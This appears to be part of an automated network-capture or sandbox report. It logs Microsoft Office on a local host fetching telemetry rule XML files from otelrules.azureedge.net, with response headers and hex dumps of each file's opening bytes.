2024-10-26 11:45:36 UTC	584	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:45:36 GMT Content-Type: text/xml Content-Length: 1427 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE56F6873" x-ms-request-id: 08f6a26f-f01e-0071-6b1c-27431c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114536Z-15b8d89586fhl2qtatrz3vfkf000000007wg000000006dq5 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:45:36 UTC	1427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 39 30 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703901" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ServiceabilityManager.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="Nexu

Session ID	Source IP	Source Port	Destination IP	Destination Port
103	192.168.2.5	49827	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:45:36 UTC	192	OUT	GET /rules/rule701501v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:45:36 UTC	584	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:45:36 GMT Content-Type: text/xml Content-Length: 1401 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:48 GMT ETag: "0x8DC582BE2A9D541" x-ms-request-id: 3a798620-501e-00a0-0295-279d9f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114536Z-16849878b786jv8w2kpaf5zkqs00000000w0000000005x3m x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-26 11:45:36 UTC	1401	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 35 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 63 75 72 69 74 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701501" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Security.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenS

Session ID	Source IP	Source Port	Destination IP	Destination Port
104	192.168.2.5	49826	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:45:36 UTC	192	OUT	GET /rules/rule703900v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:45:36 UTC	563	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:45:36 GMT Content-Type: text/xml Content-Length: 1390 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:49 GMT ETag: "0x8DC582BE3002601" x-ms-request-id: 9a0db76d-d01e-0017-4396-25b035000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114536Z-16849878b786jv8w2kpaf5zkqs00000000z00000000007u2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:45:36 UTC	1390	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 39 30 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 22 20 53 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703900" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ServiceabilityManager" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenServiceabilityManager" S=

Session ID	Source IP	Source Port	Destination IP	Destination Port
105	192.168.2.5	49828	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:45:36 UTC	192	OUT	GET /rules/rule701500v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:45:37 UTC	563	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:45:36 GMT Content-Type: text/xml Content-Length: 1364 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB6AD293" x-ms-request-id: ded904a3-601e-000d-0f3d-262618000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114536Z-17c5cb586f69w69mgazyf263an000000010g000000009183 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:45:37 UTC	1364	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 35 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 63 75 72 69 74 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 65 63 75 72 69 74 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701500" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Security" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSecurity" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
106	192.168.2.5	49829	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:45:37 UTC	192	OUT	GET /rules/rule702801v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:45:37 UTC	563	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:45:37 GMT Content-Type: text/xml Content-Length: 1391 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF58DC7E" x-ms-request-id: b2ef1849-d01e-00ad-023d-26e942000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114537Z-r197bdfb6b4mcssrvu34xzqc5400000001y00000000099z6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:45:37 UTC	1391	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 38 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 44 58 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 44 58 22 20 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702801" V="1" DC="SM" EN="Office.Telemetry.Event.Office.SDX.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSDX" S

Session ID	Source IP	Source Port	Destination IP	Destination Port
107	192.168.2.5	49830	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:45:37 UTC	192	OUT	GET /rules/rule702800v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:45:37 UTC	563	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:45:37 GMT Content-Type: text/xml Content-Length: 1354 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:45 GMT ETag: "0x8DC582BE0662D7C" x-ms-request-id: 8ce6a12a-601e-005c-62fe-26f06f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114537Z-16849878b786jv8w2kpaf5zkqs00000000sg00000000d9z8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:45:37 UTC	1354	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 38 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 44 58 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 44 58 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702800" V="1" DC="SM" EN="Office.Telemetry.Event.Office.SDX" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSDX" S="Medium" /> <F T="2"> <O

Session ID	Source IP	Source Port	Destination IP	Destination Port
108	192.168.2.5	49831	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:45:37 UTC	192	OUT	GET /rules/rule703351v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:45:37 UTC	584	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:45:37 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:39 GMT ETag: "0x8DC582BDCDD6400" x-ms-request-id: a1e8ab16-701e-0050-601c-266767000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114537Z-16849878b78j7llf5vkyvvcehs000000032g000000005s6p x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:45:37 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 33 35 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 63 72 69 70 74 4c 61 62 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703351" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ScriptLab.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
109	192.168.2.5	49832	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:45:37 UTC	192	OUT	GET /rules/rule703350v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:45:38 UTC	563	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:45:38 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:42 GMT ETag: "0x8DC582BDF1E2608" x-ms-request-id: 141f8a5a-601e-000d-3b74-272618000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114538Z-16849878b78x6gn56mgecg60qc00000003pg00000000f6tq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:45:38 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 33 35 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 63 72 69 70 74 4c 61 62 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 63 72 69 70 74 4c 61 62 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703350" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ScriptLab" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenScriptLab" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
110	192.168.2.5	49833	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:45:38 UTC	192	OUT	GET /rules/rule703501v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:45:38 UTC	584	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:45:38 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:59 GMT ETag: "0x8DC582BE8C605FF" x-ms-request-id: c3d8694b-101e-0046-45a3-2691b0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114538Z-16849878b78bjkl8dpep89pbgg00000000kg00000000c1xt x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:45:38 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 35 30 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 61 6e 64 62 6f 78 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 61 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703501" V="0" DC="SM" EN="Office.Telemetry.Event.Office.Sandbox.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSa

Session ID	Source IP	Source Port	Destination IP	Destination Port
111	192.168.2.5	49834	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:45:38 UTC	192	OUT	GET /rules/rule703500v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:45:38 UTC	563	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:45:38 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF497570" x-ms-request-id: c2bf3a2c-401e-0047-4d9c-248597000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114538Z-15b8d89586fhl2qtatrz3vfkf000000007vg000000008m8r x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:45:38 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 35 30 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 61 6e 64 62 6f 78 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 61 6e 64 62 6f 78 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703500" V="0" DC="SM" EN="Office.Telemetry.Event.Office.Sandbox" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSandbox" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
112	192.168.2.5	49835	13.107.246.45	443	7180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:45:38 UTC	192	OUT	GET /rules/rule701801v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:45:38 UTC	563	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:45:38 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDC2EEE03" x-ms-request-id: f1436c55-a01e-001e-41ef-2549ef000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114538Z-16849878b786fl7gm2qg4r5y70000000024g00000000dr5n x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:45:38 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 38 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 73 6f 75 72 63 65 73 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701801" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Resources.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
113	192.168.2.5	49836	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:45:38 UTC	192	OUT	GET /rules/rule701800v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:45:38 UTC	563	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:45:38 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:01 GMT ETag: "0x8DC582BEA414B16" x-ms-request-id: e014a2e3-501e-0035-060b-22c923000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114538Z-16849878b787wpl5wqkt5731b400000002r000000000872y x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
